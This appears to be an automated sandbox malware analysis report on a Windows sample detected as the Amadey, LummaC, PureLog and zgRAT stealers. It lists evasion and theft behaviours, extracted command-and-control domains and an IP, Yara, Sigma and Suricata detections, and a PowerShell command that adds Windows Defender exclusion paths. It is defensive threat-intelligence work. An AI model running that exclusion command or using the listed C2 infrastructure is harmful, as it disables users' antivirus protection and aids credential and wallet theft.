Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1578795
MD5:	bca5ec4ffd71fa455f22d475ba23abc0
SHA1:	b2959885fd4196bddd1d4fac61ef4753d1fd6a4e
SHA256:	561d2aaa8e31fe8fbbb460d098b1bb901df3d0837199edcdd34134652d3f9210
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected PureLog Stealer

Yara detected zgRAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Leaks process information

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6592 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BCA5EC4FFD71FA455F22D475BA23ABC0)

skotes.exe (PID: 2140 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: BCA5EC4FFD71FA455F22D475BA23ABC0)

skotes.exe (PID: 180 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: BCA5EC4FFD71FA455F22D475BA23ABC0)

skotes.exe (PID: 7748 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: BCA5EC4FFD71FA455F22D475BA23ABC0)

915c60055b.exe (PID: 7960 cmdline: "C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

915c60055b.exe (PID: 8000 cmdline: "C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

cf4412d54a.exe (PID: 8120 cmdline: "C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe" MD5: B6AA4B3886F2272B307DF8DEE7426A4F)

f3c1a61157.exe (PID: 1476 cmdline: "C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe" MD5: E8AF4D0D0B47AC68D762B7F288AE8E6E)

conhost.exe (PID: 6640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

f3c1a61157.exe (PID: 4796 cmdline: "C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe" MD5: E8AF4D0D0B47AC68D762B7F288AE8E6E)

e0c841723d.exe (PID: 7180 cmdline: "C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe" MD5: 669ED3665495A4A52029FF680EC8EBA9)

0cf121b643.exe (PID: 7260 cmdline: "C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe" MD5: 04F57C6FB2B2CD8DCC4B38E4A93D4366)

conhost.exe (PID: 7268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4476 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ibrmuebu" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5564 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

631c5638f7.exe (PID: 6772 cmdline: "C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe" MD5: C56FED47E77D1B3103C94496F1371878)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: LummaC

{"C2 url": ["rapeflowwj.lat", "crosshuaht.lat", "treehoneyi.click", "energyaffai.lat", "sustainskelet.lat", "discokeyus.lat", "grannyejh.lat", "necklacebudi.lat", "aspecteirs.lat"], "Build id": "rAGxSF--load"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2077576226.0000000004810000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000D.00000002.3288177248.0000000003B40000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2078633722.00000000048C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000D.00000002.3288177248.0000000003B00000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2047714136.0000000004D00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2684132503.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: e0c841723d.exe PID: 7180	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e0c841723d.exe PID: 7180	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e0c841723d.exe PID: 7180	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.0.915c60055b.exe.850000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.0.915c60055b.exe.850000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
7.2.915c60055b.exe.3ee94e0.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
7.2.915c60055b.exe.3ea3198.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.915c60055b.exe.3ea3198.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
7.2.915c60055b.exe.3ea3198.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
7.2.915c60055b.exe.3ea3198.1.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0xf10c:$s1: file:/// 0x96a23:$s1: file:/// 0xf01c:$s2: {11111-22222-10009-11112} 0xf09c:$s3: {11111-22222-50001-00000} 0x968a7:$s3: {11111-22222-50001-00000} 0x948e7:$s4: get_Module 0xe890:$s5: Reverse 0x84ebe:$s5: Reverse 0x11c92f:$s5: Reverse 0xcd07:$s6: BlockCopy 0x84ba8:$s7: ReadByte 0x96a35:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
7.2.915c60055b.exe.3ee94e0.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.915c60055b.exe.3ee94e0.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ibrmuebu", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ibrmuebu", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe, ParentProcessId: 7260, ParentProcessName: 0cf121b643.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ibrmuebu", ProcessId: 4476, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ibrmuebu", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ibrmuebu", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe, ParentProcessId: 7260, ParentProcessName: 0cf121b643.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ibrmuebu", ProcessId: 4476, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:19.696303+0100	2028371	3	Unknown Traffic	192.168.2.5	49854	104.21.12.88	443	TCP
2024-12-20T13:12:21.813705+0100	2028371	3	Unknown Traffic	192.168.2.5	49861	104.21.12.88	443	TCP
2024-12-20T13:12:24.232674+0100	2028371	3	Unknown Traffic	192.168.2.5	49867	104.21.12.88	443	TCP
2024-12-20T13:12:26.639144+0100	2028371	3	Unknown Traffic	192.168.2.5	49873	104.21.12.88	443	TCP
2024-12-20T13:12:28.763209+0100	2028371	3	Unknown Traffic	192.168.2.5	49879	104.21.12.88	443	TCP
2024-12-20T13:12:31.101432+0100	2028371	3	Unknown Traffic	192.168.2.5	49885	104.21.12.88	443	TCP
2024-12-20T13:12:33.538529+0100	2028371	3	Unknown Traffic	192.168.2.5	49894	104.21.12.88	443	TCP
2024-12-20T13:12:37.063334+0100	2028371	3	Unknown Traffic	192.168.2.5	49905	104.21.12.88	443	TCP
2024-12-20T13:12:43.825988+0100	2028371	3	Unknown Traffic	192.168.2.5	49924	45.77.249.79	443	TCP
2024-12-20T13:12:47.927856+0100	2028371	3	Unknown Traffic	192.168.2.5	49936	178.62.201.34	443	TCP
2024-12-20T13:12:50.989759+0100	2028371	3	Unknown Traffic	192.168.2.5	49943	172.67.180.113	443	TCP
2024-12-20T13:12:51.415679+0100	2028371	3	Unknown Traffic	192.168.2.5	49944	23.55.153.106	443	TCP
2024-12-20T13:12:53.393066+0100	2028371	3	Unknown Traffic	192.168.2.5	49951	172.67.180.113	443	TCP
2024-12-20T13:12:56.075297+0100	2028371	3	Unknown Traffic	192.168.2.5	49959	172.67.180.113	443	TCP
2024-12-20T13:12:58.709595+0100	2028371	3	Unknown Traffic	192.168.2.5	49966	172.67.180.113	443	TCP
2024-12-20T13:13:01.322812+0100	2028371	3	Unknown Traffic	192.168.2.5	49973	172.67.180.113	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:20.448434+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49854	104.21.12.88	443	TCP
2024-12-20T13:12:22.675022+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49861	104.21.12.88	443	TCP
2024-12-20T13:12:37.819512+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49905	104.21.12.88	443	TCP
2024-12-20T13:12:45.013676+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49924	45.77.249.79	443	TCP
2024-12-20T13:12:48.502729+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49936	178.62.201.34	443	TCP
2024-12-20T13:12:52.165208+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49943	172.67.180.113	443	TCP
2024-12-20T13:12:54.243183+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49951	172.67.180.113	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:20.448434+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49854	104.21.12.88	443	TCP
2024-12-20T13:12:45.013676+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49924	45.77.249.79	443	TCP
2024-12-20T13:12:48.502729+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49936	178.62.201.34	443	TCP
2024-12-20T13:12:52.165208+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49943	172.67.180.113	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:22.675022+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49861	104.21.12.88	443	TCP
2024-12-20T13:12:54.243183+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49951	172.67.180.113	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:47.927856+0100	2058215	1	Domain Observed Used for C2 Detected	192.168.2.5	49936	178.62.201.34	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:43.825988+0100	2058223	1	Domain Observed Used for C2 Detected	192.168.2.5	49924	45.77.249.79	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:19.696303+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.5	49854	104.21.12.88	443	TCP
2024-12-20T13:12:21.813705+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.5	49861	104.21.12.88	443	TCP
2024-12-20T13:12:24.232674+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.5	49867	104.21.12.88	443	TCP
2024-12-20T13:12:26.639144+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.5	49873	104.21.12.88	443	TCP
2024-12-20T13:12:28.763209+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.5	49879	104.21.12.88	443	TCP
2024-12-20T13:12:31.101432+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.5	49885	104.21.12.88	443	TCP
2024-12-20T13:12:33.538529+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.5	49894	104.21.12.88	443	TCP
2024-12-20T13:12:37.063334+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.5	49905	104.21.12.88	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:19.842502+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49853	185.215.113.43	80	TCP
2024-12-20T13:12:32.164024+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49890	185.215.113.43	80	TCP
2024-12-20T13:12:38.910020+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49911	185.215.113.43	80	TCP
2024-12-20T13:12:46.589864+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49931	185.215.113.43	80	TCP
2024-12-20T13:12:52.023582+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49948	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (awake-weaves .cyou)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:49.431115+0100	2058210	1	Domain Observed Used for C2 Detected	192.168.2.5	53108	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:40.130628+0100	2058212	1	Domain Observed Used for C2 Detected	192.168.2.5	51034	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:45.015347+0100	2058214	1	Domain Observed Used for C2 Detected	192.168.2.5	54882	1.1.1.1	53	UDP
2024-12-20T13:12:46.007899+0100	2058214	1	Domain Observed Used for C2 Detected	192.168.2.5	54882	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (debonairnukk .xyz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:48.985865+0100	2058216	1	Domain Observed Used for C2 Detected	192.168.2.5	52403	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:48.761396+0100	2058218	1	Domain Observed Used for C2 Detected	192.168.2.5	63580	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (effecterectz .xyz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:48.540438+0100	2058220	1	Domain Observed Used for C2 Detected	192.168.2.5	53665	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:40.431697+0100	2058222	1	Domain Observed Used for C2 Detected	192.168.2.5	63147	1.1.1.1	53	UDP
2024-12-20T13:12:41.430081+0100	2058222	1	Domain Observed Used for C2 Detected	192.168.2.5	63147	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lossekniyyt .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:18.153716+0100	2058424	1	Domain Observed Used for C2 Detected	192.168.2.5	61528	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sordid-snaked .cyou)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:49.657247+0100	2058226	1	Domain Observed Used for C2 Detected	192.168.2.5	56461	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrathful-jammy .cyou)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:49.208452+0100	2058236	1	Domain Observed Used for C2 Detected	192.168.2.5	58292	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:31.875233+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49885	104.21.12.88	443	TCP
2024-12-20T13:12:59.609444+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49966	172.67.180.113	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:06.017547+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49819	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:18.506160+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49826	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:10.702653+0100	2803305	3	Unknown Traffic	192.168.2.5	49831	31.41.244.11	80	TCP
2024-12-20T13:12:21.293612+0100	2803305	3	Unknown Traffic	192.168.2.5	49859	31.41.244.11	80	TCP
2024-12-20T13:12:33.612925+0100	2803305	3	Unknown Traffic	192.168.2.5	49893	31.41.244.11	80	TCP
2024-12-20T13:12:40.363004+0100	2803305	3	Unknown Traffic	192.168.2.5	49913	31.41.244.11	80	TCP
2024-12-20T13:12:48.124824+0100	2803305	3	Unknown Traffic	192.168.2.5	49937	31.41.244.11	80	TCP
2024-12-20T13:12:53.480166+0100	2803305	3	Unknown Traffic	192.168.2.5	49950	31.41.244.11	80	TCP

ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:43.834234+0100	2822521	1	Domain Observed Used for C2 Detected	45.77.249.79	443	192.168.2.5	49924	TCP
2024-12-20T13:12:47.929449+0100	2822521	1	Domain Observed Used for C2 Detected	178.62.201.34	443	192.168.2.5	49936	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T13:12:52.201679+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49944	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

